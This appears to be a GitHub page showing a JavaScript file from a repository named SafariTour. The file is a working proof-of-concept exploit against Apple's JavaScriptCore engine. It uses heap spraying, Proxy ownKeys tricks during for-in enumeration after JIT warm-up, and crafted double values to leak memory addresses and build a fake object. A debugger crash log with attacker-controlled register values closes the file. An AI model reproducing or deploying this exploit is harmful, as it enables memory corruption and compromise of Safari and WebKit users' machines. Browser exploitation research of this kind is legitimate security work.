forked from sidt87/SafariTour
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwww.js
171 lines (124 loc) · 3.74 KB
/
www.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
load('utils.js');
load('int64.js');
function r_str(l){
let random_string = '';
let random_ascii;
for(let i = 0; i < l; i++) {
random_ascii = Math.floor((Math.random() * 25) + 97);
random_string += String.fromCharCode(random_ascii)
}
return random_string
}
var o;
var o2, o3;
function obj_with_size(n){
let s = 'var obj = {';
for (let y = 0; y < n; y++){
s += 'a' + y + ':' + '"a"' + ',';
}
s += '}'
eval(s);
return obj;
}
var v = new ArrayBuffer(0x200);
//var sa = new Float64Array(0x30000*8);
var sa = new ArrayBuffer(0x30000*8);
for ( let y = 0; y < 0x30000*1; y++){
let cp = new Float64Array(0x2000);
cp.fill(3.5993841828739e-310);
cp[r_str(12)] = 'a';
sa[y] = cp;
}
function obj_with_ab(n){
let s = 'var obj = {';
for (let y = 0; y < n; y++){
s += 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + y + ':' + 'sa['+y+']' + ',';
}
s += '}'
eval(s);
return obj;
}
//o2 = obj_with_size(48600);
//o3 = obj_with_size(48600);
o2 = obj_with_ab(48600);
o3 = obj_with_ab(48600);
//let aa = 'a0';
//let leakme = [1,2,3];
//o = {a0:new ArrayBuffer(0x8000),a1:new ArrayBuffer(0x8000),a2:new ArrayBuffer(0x8000),a3:
// new ArrayBuffer(0x8000)
//};
//o[aa] = 0;
o = obj_with_ab(4);
//aa.toString = function(){return sa;}
function opt(tmp,flag) {
function f(a) {
if (flag){
//gc();
//return {'r':0,'d':1,'l':2,'u':3,'f':4};
}
return a;
}
let p = new Proxy(tmp,{ownKeys:f});
o2.__proto__ = p;
let g = 0;
let c = 0;
let q = null;
for (let x in o2) {
if (flag) {
//gc();
c++;
print(c)
//if ( g == 1 ){return x;}
// we don't want to refarance this
// object twice if its a fake_object.
// because jsc would crash..
// so save this into a string.
//print(describe(x));
if ( g == 1) { return x;}
let s = typeof x;
print(s);
if ( s == 'object' ){
g = 1;
//print(x[0]);
} else {
if ( typeof x == 'string' ){}
else {
print('here');
print('typeof x:' + typeof x);
print('leaked memory: '+ Int64.fromDouble(x));
return;
}
}
} else {
// optimize access ..
//o2[x] = 3.54484805889626e-310;
}
q = x;
}
return q;
}
// Compile the functions
for (let t = 0; t <200;t++){
opt(o3,false);
}
let fo = opt(o,true);
print('a');
fo[0] = 3.54484805889626e-310;
sa[89];
/*
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x0000000100911758 JavaScriptCore`JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*) + 264
JavaScriptCore`JSC::putByVal:
-> 0x100911758 <+264>: movq 0x40(%rdi), %rax
0x10091175c <+268>: movq %rsi, %rdi
0x10091175f <+271>: movq %r12, %rsi
0x100911762 <+274>: movl %r15d, %edx
Target 0: (jsc) stopped.
(lldb) reg r
General Purpose Registers:
rax = 0x000000010b300000
rbx = 0x0001414141414141
rcx = 0x0001414141414141
rdx = 0x0000000003230300
rdi = 0x0361616161616161
*/